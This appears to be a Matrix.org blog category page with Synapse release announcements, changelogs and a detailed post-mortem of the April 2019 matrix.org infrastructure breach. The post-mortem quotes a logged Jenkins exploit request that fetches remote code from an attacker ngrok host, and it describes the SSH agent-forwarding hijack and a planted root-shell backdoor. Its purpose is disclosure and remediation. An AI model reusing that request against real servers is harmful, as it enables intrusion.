Category – General
156 posts tagged with "General" (See all categories)

Final countdown to 1.0

2019-05-24 — General — 

Hi all,

After lots of refinements, polishing and a few distractions we’re finally at the point of announcing the final timeline for both Matrix 1.0 and Synapse 1.0! We are targeting Monday 10th June as our release date - please consider this your two week warning!

This is the end game of the process we began back in February when we released the first stable release of the Server-Server API at FOSDEM, and started the Synapse 0.99 release series to prepare for 1.0.

Matrix 1.0 refers to the upcoming set of API releases which provides a matched set of stable and secure APIs across all of Matrix - at which point the project (at last) exits beta! In practice, this will be Client-Server API 0.5 (including final membership lazy loading, E2E backups and interactive verification and lots more), SS API 0.2 (including server key validity period fixes and associated v5 room protocol) and any other spec updates. The next 2 weeks will see a flurry of spec activity as we get everything together - you can see the full list and track the progress for the CS 0.5 spec release at https://github.com/matrix-org/matrix-doc/projects/2.

Meanwhile, Synapse 1.0 will be the reference implementation of Matrix 1.0, and so makes the changes required to implement Matrix 1.0 and close all currently known security and stability issues and thus exit beta. This means changing the default room protocol version used for new rooms to be v4, which includes the new state resolution algorithm, as well as collision-resistant event IDs, which are now formatted to be URL safe. Support for v4 rooms shipped in Synapse 0.99.5.1, so please upgrade asap to 0.99.5.1 before 1.0 is released to ease the transition.. Synapse 1.0 will also ship with support for the upcoming v5 room protocol (which enforces honouring server key validity periods), but this will not used as the default for new rooms until sufficient servers are speaking Matrix 1.0.

As part of the security work, Matrix 1.0 and Synapse 1.0 also contains a breaking change that requires a valid TLS certificate on the federation API endpoint. Servers that do not configure their certificate will no longer be able to federate post 1.0

You can check that your server has been correctly configured here and see here for more info on what you need to do. If in doubt head to #synapse:matrix.org.

We've been tracking readiness for the certificate change at https://arewereadyyet.com, at the time of writing 68% of active servers on the federation have valid certificates. We obviously would want that number to be higher, however since the largest installations have upgraded the total number of users who are ready for 1.0 stands at 96%, which we consider to be high enough to release 1.0.

This is not a drill, from here until 10th June we need everyone to not only ensure that their own server is ready, but also to encourage their fellow admins to update as well. With your help we can get everyone over the line!

Thanks everyone for your help to date, especially those providing support in #synapse:matrix.org.

Onwards!

Synapse 0.99.5.1 released!

2019-05-21 — General — 

Okay folks, this is an important one. v0.99.5.1 will be the last release before we ship Synapse v1.0. It is really important that you upgrade to v0.99.5.1 because it implements rooms version 4 - which is the room version that Synapse 1.0 will default to.

This means that Synapse 1.0 servers will create new rooms as version 4 by default and servers that have not upgraded to at least v0.99.5.1 will not be able to join those rooms.

Over the coming days we will announce a release day for Synapse v1.0, the idea is to give admins 2 weeks notice so that anyone yet to configure their federation SSL certificate has time to do so. This is important, failure to configure your certs will mean not being able to federate with v1.0 servers. If you are not sure if you certs are valid, you can test here and read here for more info on what to do.

Aside from room v4, this release also includes the ability to blacklist specific IPs from federating as well as experimental support for edits and reactions. We are not quite ready to mark the feature 'done done', but it is very close. Watch out for news as the feature lands properly.

We're really close to v1.0 now, give us a few more days and we'll announce an official release date.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our Synapse installation guide page

Synapse v0.99.5.1 Changelog (since v0.99.4)

Features

  • Add ability to blacklist IP ranges for the federation client. (#5043)
  • Ratelimiting configuration for clients sending messages and the federation server has been altered to match login ratelimiting. The old configuration names will continue working. Check the sample config for details of the new names. (#5181)
  • Drop support for the undocumented /_matrix/client/v2_alpha API prefix. (#5190)
  • Add an option to disable per-room profiles. (#5196)
  • Stick an expiration date to any registered user missing one at startup if account validity is enabled. (#5204)
  • Add experimental support for relations (aka reactions and edits). (#5209, #5211, #5203, #5212)
  • Add a room version 4 which uses a new event ID format, as per MSC2002. (#5210, #5217)

Bugfixes

  • Fix image orientation when generating thumbnails (needs pillow>=4.3.0). Contributed by Pau Rodriguez-Estivill. (#5039)
  • Exclude soft-failed events from forward-extremity candidates: fixes "No forward extremities left!" error. (#5146)
  • Re-order stages in registration flows such that msisdn and email verification are done last. (#5174)
  • Fix 3pid guest invites. (#5177)
  • Fix a bug where the register endpoint would fail with M_THREEPID_IN_USE instead of returning an account previously registered in the same session. (#5187)
  • Prevent registration for user ids that are too long to fit into a state key. Contributed by Reid Anderson. (#5198)
  • Fix incompatibility between ACME support and Python 3.5.2. (#5218)
  • Fix error handling for rooms whose versions are unknown. (#5219)

Internal Changes

  • Make /sync attempt to return device updates for both joined and invited users. Note that this doesn't currently work correctly due to other bugs. (#3484)
  • Update tests to consistently be configured via the same code that is used when loading from configuration files. (#5171, #5185)
  • Allow client event serialization to be async. (#5183)
  • Expose DataStore._get_events as get_events_as_list. (#5184)
  • Make generating SQL bounds for pagination generic. (#5191)
  • Stop telling people to install the optional dependencies by default. (#5197)

Synapse 0.99.4 released!

2019-05-15 — General — 

Hey ho Synapse release day.

0.99.4 is a maintenance release collecting together all of the bug fixes and performance improvements over the past few weeks, additionally there is further support for the upcoming 1.0 release (more info coming soon). One thing worth calling out is how many community contributions have made their way into 0.99.4, take a look at the change log for details, but many thanks to everyone submitting PRs, keep them coming!

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our Synapse installation guide page

Synapse 0.99.4 Changelog

Features

  • Add systemd-python to the optional dependencies to enable logging to the systemd journal. Install with pip install matrix-synapse[systemd]. (#4339)
  • Add a default .m.rule.tombstone push rule. (#4867)
  • Add ability for password provider modules to bind email addresses to users upon registration. (#4947)
  • Implementation of MSC1711 including config options for requiring valid TLS certificates for federation traffic, the ability to disable TLS validation for specific domains, and the ability to specify your own list of CA certificates. (#4967)
  • Remove presence list support as per MSC 1819. (#4989)
  • Reduce CPU usage starting pushers during start up. (#4991)
  • Add a delete group admin API. (#5002)
  • Add config option to block users from looking up 3PIDs. (#5010)
  • Add context to phonehome stats. (#5020)
  • Configure the example systemd units to have a log identifier of matrix-synapse instead of the executable name, python. Contributed by Christoph Müller. (#5023)
  • Add time-based account expiration. (#5027, #5047, #5073, #5116)
  • Add support for handling /verions, /voip and /push_rules client endpoints to client_reader worker. (#5063, #5065, #5070)
  • Add an configuration option to require authentication on /publicRooms and /profile endpoints. (#5083)
  • Move admin APIs to /_synapse/admin/v1. (The old paths are retained for backwards-compatibility, for now). (#5119)
  • Implement an admin API for sending server notices. Many thanks to @krombel who provided a foundation for this work. (#5121, #5142)

Bugfixes

  • Avoid redundant URL encoding of redirect URL for SSO login in the fallback login page. Fixes a regression introduced in #4220. Contributed by Marcel Fabian Krüger ("zaugin"). (#4555)
  • Fix bug where presence updates were sent to all servers in a room when a new server joined, rather than to just the new server. (#4942, #5103)
  • Fix sync bug which made accepting invites unreliable in worker-mode synapses. (#4955, #4956)
  • start.sh: Fix the --no-rate-limit option for messages and make it bypass rate limit on registration and login too. (#4981)
  • Transfer related groups on room upgrade. (#4990)
  • Prevent the ability to kick users from a room they aren't in. (#4999)
  • Fix issue #4596 so synapse_port_db script works with --curses option on Python 3. Contributed by Anders Jensen-Waud [email protected]. (#5003)
  • Clients timing out/disappearing while downloading from the media repository will now no longer log a spurious "Producer was not unregistered" message. (#5009)
  • Fix "cannot import name execute_batch" error with postgres. (#5032)
  • Fix disappearing exceptions in manhole. (#5035)
  • Workaround bug in twisted where attempting too many concurrent DNS requests could cause it to hang due to running out of file descriptors. (#5037)
  • Make sure we're not registering the same 3pid twice on registration. (#5071)
  • Don't crash on lack of expiry templates. (#5077)
  • Fix the ratelimting on third party invites. (#5104)
  • Add some missing limitations to room alias creation. (#5124, #5128)
  • Limit the number of EDUs in transactions to 100 as expected by synapse. Thanks to @superboum for this work! (#5138)
  • Fix bogus imports in unit tests. (#5154)

Internal Changes

  • Add test to verify threepid auth check added in #4435. (#4474)
  • Fix/improve some docstrings in the replication code. (#4949)
  • Split synapse.replication.tcp.streams into smaller files. (#4953)
  • Refactor replication row generation/parsing. (#4954)
  • Run black to clean up formatting on synapse/storage/roommember.py and synapse/storage/events.py. (#4959)
  • Remove log line for password via the admin API. (#4965)
  • Fix typo in TLS filenames in docker/README.md. Also add the '-p' commandline option to the 'docker run' example. Contributed by Jurrie Overgoor. (#4968)
  • Refactor room version definitions. (#4969)
  • Reduce log level of .well-known/matrix/client responses. (#4972)
  • Add config.signing_key_path that can be read by synapse.config utility. (#4974)
  • Track which identity server is used when binding a threepid and use that for unbinding, as per MSC1915. (#4982)
  • Rewrite KeyringTestCase as a HomeserverTestCase. (#4985)
  • README updates: Corrected the default POSTGRES_USER. Added port forwarding hint in TLS section. (#4987)
  • Remove a number of unused tables from the database schema. (#4992, #5028, #5033)
  • Run black on the remainder of synapse/storage/. (#4996)
  • Fix grammar in get_current_users_in_room and give it a docstring. (#4998)
  • Clean up some code in the server-key Keyring. (#5001)
  • Convert SYNAPSE_NO_TLS Docker variable to boolean for user friendliness. Contributed by Gabriel Eckerson. (#5005)
  • Refactor synapse.storage._base._simple_select_list_paginate. (#5007)
  • Store the notary server name correctly in server_keys_json. (#5024)
  • Rewrite Datastore.get_server_verify_keys to reduce the number of database transactions. (#5030)
  • Remove extraneous period from copyright headers. (#5046)
  • Update documentation for where to get Synapse packages. (#5067)
  • Add workarounds for pep-517 install errors. (#5098)
  • Improve logging when event-signature checks fail. (#5100)
  • Factor out an "assert_requester_is_admin" function. (#5120)
  • Remove the requirement to authenticate for /admin/server_version. (#5122)
  • Prevent an exception from being raised in a IResolutionReceiver and use a more generic error message for blacklisted URL previews. (#5155)
  • Run black on the tests directory. (#5170)
  • Fix CI after new release of isort. (#5179)

Post-mortem and remediations for Apr 11 security incident

2019-05-08 — General, Security — 

Table of contents

Introduction

Hi all,

On April 11th we dealt with a major security incident impacting the infrastructure which runs the Matrix.org homeserver - specifically: removing an attacker who had gained superuser access to much of our production network. We provided updates at the time as events unfolded on April 11 and 12 via Twitter and our blog, but in this post we’ll try to give a full analysis of what happened and, critically, what we have done to avoid this happening again in future. Apologies that this has taken several weeks to put together: the time-consuming process of rebuilding after the breach has had to take priority, and we also wanted to get the key remediation work in place before writing up the post-mortem.

Firstly, please understand that this incident was not due to issues in the Matrix protocol itself or the wider Matrix network - and indeed everyone who wasn’t on the Matrix.org server should have barely noticed. If you see someone say “Matrix got hacked”, please politely but firmly explain to them that the servers which run the oldest and biggest instance got compromised via a Jenkins vulnerability and bad ops practices, but the protocol and network itself was not impacted. This is not to say that the Matrix protocol itself is bug free - indeed we are still in the process of exiting beta (delayed by this incident), but this incident was not related to the protocol.

Before we get stuck in, we would like to apologise unreservedly to everyone impacted by this whole incident. Matrix is an altruistic open source project, and our mission is to try to make the world a better place by providing a secure decentralised communication protocol and network for the benefit of everyone; giving users total control back over how they communicate online.

In this instance, our focus on trying to improve the protocol and network came at the expense of investing sysadmin time around the legacy Matrix.org homeserver and project infrastructure which we provide as a free public service to help bootstrap the Matrix ecosystem, and we paid the price.

This post will hopefully illustrate that we have learnt our lessons from this incident and will not be repeating them - and indeed intend to come out of this episode stronger than you can possibly imagine :)

Meanwhile, if you think that the world needs Matrix, please consider supporting us via Patreon or Liberapay. Not only will this make it easier for us to invest in our infrastructure in future, it also makes projects like Pantalaimon (E2EE compatibility for all Matrix clients/bots) possible, which are effectively being financed entirely by donations. The funding we raised in Jan 2018 is not going to last forever, and we are currently looking into new longer-term funding approaches - for which we need your support.

Finally, if you happen across security issues in Matrix or matrix.org’s infrastructure, please please consider disclosing them responsibly to us as per our Security Disclosure Policy, in order to help us improve our security while protecting our users.

History

Firstly, some context about Matrix.org’s infrastructure. The public Matrix.org homeserver and its associated services runs across roughly 30 hosts, spanning the actual homeserver, its DBs, load balancers, intranet services, website, bridges, bots, integrations, video conferencing, CI, etc. We provide it as a free public service to the Matrix ecosystem to help bootstrap the network and make life easier for first-time users.

The deployment which was compromised in this incident was mainly set up back in Aug 2017 when we vacated our previous datacenter at short notice, thanks to our funding situation at the time. Previously we had been piggybacking on the well-managed production datacenters of our previous employer, but during the exodus we needed to move as rapidly as possible, and so we span up a bunch of vanilla Debian boxes on UpCloud, and shifted over services as simply as we could. We had no dedicated ops people on the project at that point, so this was a subset of the Synapse and Riot/Web dev teams putting on ops hats to rapidly get set up, whilst also juggling the daily fun of keeping the ever-growing Matrix.org server running and trying to actually develop and improve Matrix itself.

In practice, this meant that some corners were cut that we expected to be able to come back to and address once we had dedicated ops staff on the team. For instance, we skipped setting up a VPN for accessing production in favour of simply SSHing into the servers over the internet. We also went for the simplest possible config management system: checking all the configs for the services into a private git repo. We also didn’t spend much time hardening the default Debian installations - for instance, the default image allows root access via SSH and allows SSH agent forwarding, and the config wasn’t tweaked. This is particularly unfortunate, given our previous production OS (a customised Debian variant) had got all these things right - but the attitude was that because we’d got this right in the past, we’d be easily able to get it right in future once we fixed up the hosts with proper configuration management etc.

Separately, we also made the controversial decision to maintain a public-facing Jenkins instance. We did this deliberately, despite the risks associated with running a complicated publicly available service like Jenkins, but reasoned that as a FOSS project, it is imperative that we are transparent and that continuous integration results and artefacts are available and directly visible to all contributors - whether they are part of the core dev team or not. So we put Jenkins on its own host, gave it some macOS build slaves, and resolved to keep an eye open for any security alerts which would require an upgrade.

Lots of stuff then happened over the following months - we secured funding in Jan 2018; the French Government began talking about switching to Matrix around the same time; the pressure of getting Matrix (and Synapse and Riot) out of beta and to a stable 1.0 grew ever stronger; the challenge of handling the ever-increasing traffic on the Matrix.org server soaked up more and more time, and we started to see our first major security incidents (a major DDoS in March 2018, mitigated by shielding behind Cloudflare, and various attacks on the more beta bits of Matrix itself).

Good news was that funding meant that in March 2018 we were able to hire a fulltime ops specialist! By this point, however, we had two new critical projects in play to try to ensure long-term funding for the project via New Vector, the startup formed in 2017 to hire the core team. Firstly, to build out Modular.im as a commercial-grade Matrix SaaS provider, and secondly, to support France in rolling out their massive Matrix deployment as a flagship example how Matrix can be used. And so, for better or worse, the brand new ops team was given a very clear mandate: to largely ignore the legacy datacenter infrastructure, and instead focus exclusively on building entirely new, pro-grade infrastructure for Modular.im and France, with the expectation of eventually migrating Matrix.org itself into Modular when ready (or just turning off the Matrix.org server entirely, once we have account portability).

So we ended up with two production environments; the legacy Matrix.org infra, whose shortcomings continued to linger and fester off the radar, and separately all the new Modular.im hosts, which are almost entirely operationally isolated from the legacy datacenter; whose configuration is managed exclusively by Ansible, and have sensible SSH configs which disallow root login etc. With 20:20 hindsight, the failure to prioritise hardening the legacy infrastructure is quite a good example of the normalisation of deviance - we had gotten too used to the bad practices; all our attention was going elsewhere; and so we simply failed to prioritise getting back to fix them.

The Incident

The first evidence of things going wrong was a tweet from JaikeySarraf, a security researcher who kindly reached out via DM at the end of Apr 9th to warn us that our Jenkins was outdated after stumbling across it via Google. In practice, our Jenkins was running version 2.117 with plugins which had been updated on an adhoc basis, and we had indeed missed the security advisory (partially because most of our CI pipelines had moved to TravisCI, CircleCI and Buildkite), and so on Apr 10th we updated the Jenkins and investigated to see if any vulnerabilities had been exploited.

In this process, we spotted an unrecognised SSH key in /root/.ssh/authorized_keys2 on the Jenkins build server. This was suspicious both due to the key not being in our key DB and the fact the key was stored in the obscure authorized_keys2 file (a legacy location from back when OpenSSH transitioned from SSH1->SSH2). Further inspection showed that 19 hosts in total had the same key present in the same place.

At this point we started doing forensics to understand the scope of the attack and plan the response, as well as taking snapshots of the hosts to protect data in case the attacker realised we were aware and attempted to vandalise or cover their tracks. Findings were:

matrix.org:443 151.34.xxx.xxx - - [13/Mar/2019:18:46:07 +0000] "GET /jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/[email protected](disableChecksums=true)%[email protected](name=%27orange.tw%27,%20root=%27http://5f36xxxx.ngrok.io/jenkins/%27)%[email protected](group=%27tw.orange%27,%20module=%270x3a%27,%20version=%27000%27)%0Aimport%20Orange; HTTP/1.1" 500 6083 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"

  • This allowed them to further compromise a Jenkins slave (Flywheel, an old Mac Pro used mainly for continuous integration testing of Riot/iOS and Riot/Android). The attacker put an SSH key on the box, which was unfortunately exposed to the internet via a high-numbered SSH port for ease of admin by remote users, and placed a trap which waited for any user to SSH into the jenkins user, which would then hijack any available forwarded SSH keys to try to add the attacker’s SSH key to [email protected] on as many other hosts as possible.
  • On Apr 4th at 12:32 GMT, one of the Riot devops team members SSH’d into the Jenkins slave to perform some admin, forwarding their SSH key for convenience for accessing other boxes while doing so. This triggered the trap, and resulted in the majority of the malicious keys being inserted to the remote hosts.
  • From this point on, the attacker proceeded to explore the network, performing targeted exfiltration of data (e.g. our passbolt database, which is thankfully end-to-end encrypted via GPG) seemingly targeting credentials and data for use in onward exploits, and installing backdoors for later use (e.g. a setuid root shell at /usr/share/bsd-mail/shroot).
  • The majority of access to the hosts occurred between Apr 4th and 6th.
  • There was no evidence of large-scale data exfiltration, based on analysing network logs.
  • There was no evidence of Modular.im hosts having been compromised. (Modular’s provisioning system and DB did run on the old infrastructure, but it was not used to tamper with the modular instances themselves).
  • There was no evidence of the identity server databases having been compromised.
  • There was no evidence of tampering in our source code repositories.
  • There was no evidence of tampering of our distributed software packages.
  • Two more hosts were compromised on Apr 5th by similarly hijacking another developer SSH agent as the dev logged into a production server.

By around 2am on Apr 11th we felt that we had sufficient visibility on the attacker’s behaviour to be able to do a first pass at evicting them by locking down SSH, removing their keys, and blocking as much network traffic as we could.

We then started a full rebuild of the datacenter on the morning of Apr 11th, given that the only responsible course of action when an attacker has acquired root is to salt the earth and start over afresh. This meant rotating all secrets; isolating the old hosts entirely (including ones which appeared to not have been compromised, for safety), spinning up entirely new hosts, and redeploying everything from scratch with the fresh secrets. The process was significantly slowed down by colliding with unplanned maintenance and provisioning issues in the datacenter provider and unexpected delays spent waiting to copy data volumes between datacenters, but by 1am on Apr 12th the core matrix.org server was back up, and we had enough of a website up to publish the initial security incident blog post. (This was actually static HTML, faked by editing the generated WordPress content from the old website. We opted not to transition any WordPress deployments to the new infra, in a bid to keep our attack surface as small as possible going forwards).

Given the production database had been accessed, we had no choice but drop all access_tokens for matrix.org, to stop the attacker accessing user accounts, causing a forced logout for all users on the server. We also recommended all users change their passwords, given the salted & hashed (4096 rounds of bcrypt) passwords had likely been exfiltrated.

At about 4am we had enough of the bare necessities back up and running to pause for sleep.

The Defacement

At around 7am, we were woken up to the news that the attacker had managed to replace the matrix.org website with a defacement (as per https://github.com/vector-im/riot-web/issues/9435). It looks like the attacker didn’t think we were being transparent enough in our initial blog post, and wanted to make it very clear that they had access to many hosts, including the production database and had indeed exfiltrated password hashes. Unfortunately it took a few hours for the defacement to get on our radar as our monitoring infrastructure hadn’t yet been fully restored and the normal paging infrastructure wasn’t back up (we now have emergency-emergency-paging for this eventuality).

On inspection, it transpired that the attacker had not compromised the new infrastructure, but had used Cloudflare to repoint the DNS for matrix.org to a defacement site hosted on Github. Now, as part of rotating the secrets which had been compromised via our configuration repositories, we had of course rotated the Cloudflare API key (used to automate changes to our DNS) during the rebuild on Apr 11. When you log into Cloudflare, it looks something like this...

Cloudflare login UI

...where the top account is your personal one, and the bottom one is an admin role account. To rotate the admin API key, we clicked on the admin account to log in as the admin, and then went to the Profile menu, found the API keys and hit the Change API Key button.

Unfortunately, when you do this, it turns out that the API Key it changes is your personal one, rather than the admin one. As a result, in our rush we thought we’d rotated the admin API key, but we hadn’t, thus accidentally enabling the defacement.

To flush out the defacement we logged in directly as the admin user and changed the API key, pointed the DNS back at the right place, and continued on with the rebuild.

The Rebuild

The goal of the rebuild has been to get all the higher priority services back up rapidly - whilst also ensuring that good security practices are in place going forwards. In practice, this meant making some immediate decisions about how to ensure the new infrastructure did not suffer the same issues and fate as the old. Firstly, we ensured the most obvious mistakes that made the breach possible were mitigated:

  • Access via SSH restricted as heavily as possible
  • SSH agent forwarding disabled server-side
  • All configuration to be managed by Ansible, with secrets encrypted in vaults, rather than sitting in a git repo.

Then, whilst reinstating services on the new infra, we opted to review everything being installed for security risks, replacing with securer alternatives if needed, even if it slowed down the rebuild. Particularly, this meant:

  • Jenkins has been replaced by Buildkite
  • Wordpress has been replaced by static generated sites (e.g. Gatsby)
  • cgit has been replaced by gitlab.
  • Entirely new packaging building, signing & distribution infrastructure (more on that later)
  • etc.

Now, while we restored the main synapse (homeserver), sydent (identity server), sygnal (push server), databases, load balancers, intranet and website on Apr 11, it’s important to understand that there were over 100 other services running on the infra - which is why it is taking a while to get full parity with where we were before.

In the interest of transparency (and to try to give a sense of scale of the impact of the breach), here is the public-facing service list we restored, showing priority (1 is top, 4 is bottom) and the % restore status as of May 4th:

Service status

Apologies again that it took longer to get some of these services back up than we’d prefered (and that there are still a few pending). Once we got the top priority ones up, we had no choice but to juggle the remainder alongside remediation work, other security work, and actually working on Matrix(!), whilst ensuring that the services we restored were being restored securely.

Remediations

Once the majority of the P1 and P2 services had been restored, on Apr 24 we held a formal retrospective for the team on the whole incident, which in turn kicked off a full security audit over the entirety of our infrastructure and operational processes.

We’d like to share the resulting remediation plan in as much detail as possible, in order to show the approach we are taking, and in case it helps others avoid repeating the mistakes of our past. Inevitably we’re going to have to skip over some of the items, however - after all, remediations imply that there’s something that could be improved, and for obvious reasons we don’t want to dig into areas where remediation work is still ongoing. We will aim to provide an update on these once ongoing work is complete, however.

We should also acknowledge that after being removed from the infra, the attacker chose to file a set of Github issues on Apr 12 to highlight some of the security issues that had taken advantage of during the breach. Their actions matched the findings from our forensics on Apr 10, and their suggested remediations aligned with our plan.

We’ve split the remediation work into the following domains.

SSH

Some of the biggest issues exposed by the security breach concerned our use of SSH, which we’ll take in turn:

SSH agent forwarding should be disabled.

SSH agent forwarding is a beguilingly convenient mechanism which allows a user to ‘forward’ access to their private SSH keys to a remote server whilst logged in, so they can in turn access other servers via SSH from that server. Typical uses are to make it easy to copy files between remote servers via scp or rsync, or to interact with a SCM system such as Github via SSH from a remote server. Your private SSH keys end up available for use by the server for as long as you are logged into it, letting the server impersonate you.

The common wisdom on this tends to be something like: “Only use agent forwarding when connecting to trusted hosts”. For instance, Github’s guide to using SSH agent forwarding says:

Warning: You may be tempted to use a wildcard like Host * to just apply this setting (ForwardAgent: yes) to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with every server you SSH into. They won't have direct access to the keys, but they will be able to use them as you while the connection is established. You should only add servers you trust and that you intend to use with agent forwarding

As a result, several of the team doing ops work had set Host *.matrix.org ForwardAgent: yes in their ssh client configs, thinking “well, what can we trust if not our own servers?”

This was a massive, massive mistake.

If there is one lesson everyone should learn from this whole mess, it is: SSH agent forwarding is incredibly unsafe, and in general you should never use it. Not only can malicious code running on the server as that user (or root) hijack your credentials, but your credentials can in turn be used to access hosts behind your network perimeter which might otherwise be inaccessible. All it takes is someone to have snuck malicious code on your server waiting for you to log in with a forwarded agent, and boom, even if it was just a one-off ssh -A.

Our remediations for this are:

  • Disable all ssh agent forwarding on the servers.
  • If you need to jump through a box to ssh into another box, use ssh -J $host.
  • This can also be used with rsync via rsync -e "ssh -J $host"
  • If you need to copy files between machines, use rsync rather than scp (OpenSSH 8.0’s release notes explicitly recommends using more modern protocols than scp).
  • If you need to regularly copy stuff from server to another (or use SSH to GitHub to check out something from a private repo), it might be better to have a specific SSH ‘deploy key’ created for this, stored server-side and only able to perform limited actions.
  • If you just need to check out stuff from public git repos, use https rather than git+ssh.
  • Try to educate everyone on the perils of SSH agent forwarding: if our past selves can’t be a good example, they can at least be a horrible warning...

Another approach could be to allow forwarding, but configure your SSH agent to prompt whenever a remote app tries to access your keys. However, not all agents support this (OpenSSH’s does via ssh-add -c, but gnome-keyring for instance doesn’t), and also it might still be possible for a hijacker to race with the valid request to hijack your credentials.

SSH should not be exposed to the general internet

Needless to say, SSH is no longer exposed to the general internet. We are rolling out a VPN as the main access to dev network, and then SSH bastion hosts to be the only access point into production, using SSH keys to restrict access to be as minimal as possible.

SSH keys should give minimal access

Another major problem factor was that individual SSH keys gave very broad access. We have gone through ensuring that SSH keys grant the least privilege required to the users in question. Particularly, root login should not be available over SSH.

A typical scenario where users might end up with unnecessary access to production are developers who simply want to push new code or check its logs. We are mitigating this by switching over to using continuous deployment infrastructure everywhere rather than developers having to actually SSH into production. For instance, the new matrix.org blog is continuously deployed into production by Buildkite from GitHub without anyone needing to SSH anywhere. Similarly, logs should be available to developers from a logserver in real time, without having to SSH into the actual production host. We’ve already been experimenting internally with sentry for this.

Relatedly, we’ve also shifted to requiring multiple SSH keys per user (per device, and for privileged / unprivileged access), to have finer grained granularity over locking down their permissions and revoking them etc. (We had actually already started this process, and while it didn’t help prevent the attack, it did assist with forensics).

Two factor authentication

We are rolling out two-factor authentication for SSH to ensure that even if keys are compromised (e.g. via forwarding hijack), the attacker needs to have also compromised other physical tokens in order to successfully authenticate.

It should be made as hard as possible to add malicious SSH keys

We’ve decided to stop users from being able to directly manage their own SSH keys in production via ~/.ssh/authorized_keys (or ~/.ssh/authorized_keys2 for that matter) - we can see no benefit from letting non-root users set keys.

Instead, keys for all accounts are managed exclusively by Ansible via /etc/ssh/authorized_keys/$account (using sshd’s AuthorizedKeysFile /etc/ssh/authorized_keys/%u directive).

Changes to SSH keys should be carefully monitored

If we’d had sufficient monitoring of the SSH configuration, the breach could have been caught instantly. We are doing this by managing the keys exclusively via Ansible, and also improving our intrusion detection in general.

Similarly, we are working on tracking changes and additions to other credentials (and enforcing their complexity).

SSH config should be hardened, disabling unnecessary options

If we’d gone through reviewing the default sshd config when we set up the datacenter in the first place, we’d have caught several of these failure modes at the outset. We’ve now done so (as per above).

We’d like to recommend that packages of openssh start having secure-by-default configurations, as a number of the old options just don’t need to exist on most newly provisioned machines.

Network architecture

As mentioned in the History section, the legacy network infrastructure effectively grew organically, without really having a core network or a good split between different production environments.

We are addressing this by:

  • Splitting our infrastructure into strictly separated service domains, which are firewalled from each other and can only access each other via their respective ‘front doors’ (e.g. HTTPS APIs exposed at the loadbalancers).
    • Development
    • Intranet
    • Package Build (airgapped; see below for more details)
    • Package Distribution
    • Production, which is in turn split per class of service.
  • Access to these networks will be via VPN + SSH jumpboxes (as per above). Access to the VPN is via per-device certificate + 2FA, and SSH via keys as per above.
  • Switching to an improved internal VPN between hosts within a given network environment (i.e. we don’t trust the datacenter LAN).

We’re also running most services in containers by default going forwards (previously it was a bit of a mix of running unix processes, VMs, and occasional containers), providing an additional level of namespace isolation.

Keeping patched

Needless to say, this particular breach would not have happened had we kept the public-facing Jenkins patched (although there would of course still have been scope for a 0-day attack).

Going forwards, we are establishing a formal regular process for deploying security updates rather than relying on spotting security advisories on an ad hoc basis. We are now also setting up regular vulnerability scans against production so we catch any gaps before attackers do.

Aside from our infrastructure, we’re also extending the process of regularly checking for security updates to also checking for outdated dependencies in our distributed software (Riot, Synapse, etc) too, given the discipline to regularly chase outdated software applies equally to both.

Moving all our machine deployment and configuration into Ansible allows this to be a much simpler task than before.

Intrusion detection

There’s obviously a lot we need to do in terms of spotting future attacks as rapidly as possible. Amongst other strategies, we’re working on real-time log analysis for aberrant behaviour.

Incident management

There is much we have learnt from managing an incident at this scale. The main highlights taken from our internal retrospective are:

  • The need for a single incident manager to coordinate the technical response and coordinate prioritisation and handover between those handling the incident. (We lacked a single incident manager at first, given several of the team started off that week on holiday...)
  • The benefits of gathering all relevant info and checklists onto a canonical set of shared documents rather than being spread across different chatrooms and lost in scrollback.
  • The need to have an existing inventory of services and secrets available for tracking progress and prioritisation
  • The need to have a general incident management checklist for future reference, which folks can familiarise themselves with ahead of time to avoid stuff getting forgotten. The sort of stuff which will go on our checklist in future includes:
    • Remembering to appoint named incident manager, external comms manager & internal comms manager. (They could of course be the same person, but the roles are distinct).
    • Defining a sensible sequence of forensics, mitigations, communication, rotating secrets etc is followed rather than having to work it out on the fly and risk forgetting stuff
    • Remembering to informing the ICO (Information Commissioner Office) of any user data breaches
    • Guidelines on how to balance between forensics and rebuilding (i.e. how long to spend on forensics, if at all, before pulling the plug)
    • Reminders to snapshot systems for forensics & backups
    • Reminder to not redesign infrastructure during a rebuild. There were a few instances where we lost time by seizing the opportunity to try to fix design flaws whilst rebuilding, some of which were avoidable.
    • Making sure that communication isn’t sent prematurely to users (e.g. we posted the blog post asking people to update their passwords before password reset had actually been restored - apologies for that.)

Configuration management

One of the major flaws once the attacker was in our network was that our internal configuration git repo was cloned on most accounts on most servers, containing within it a plethora of unencrypted secrets. Config would then get symlinked from the checkout to wherever the app or OS needed it.

This is bad in terms of leaving unencrypted secrets (database passwords, API keys etc) lying around everywhere, but also in terms of being able to automatically maintain configuration and spot unauthorised configuration changes.

Our solution is to switch all configuration management, from the OS upwards, to Ansible (which we had already established for Modular.im), using Ansible vaults to store the encrypted secrets. It’s unfortunate that we had already done the work for this (and even had been giving talks at Ansible meetups about it!) but had not yet applied it to the legacy infrastructure.

Avoiding temporary measures which last forever

None of this would have happened had we been more disciplined in finishing off the temporary infrastructure from back in 2017. As a general point, we should try and do it right the first time - and failing that, assign responsibility to someone to update it and assign responsibility to someone else to check. In other words, the only way to dig out of temporary measures like this is to project manage the update or it will not happen. This is of course a general point not specific to this incident, but one well worth reiterating.

Secure packaging

One of the most unfortunate mistakes highlighted by the breach is that the signing keys for the Synapse debian repository, Riot debian repository and Riot/Android releases on the Google Play Store had ended up on hosts which were compromised during the attack. This is obviously a massive fail, and is a case of the geo-distributed dev teams prioritising the convenience of a near-automated release process without thinking through the security risks of storing keys on a production server.

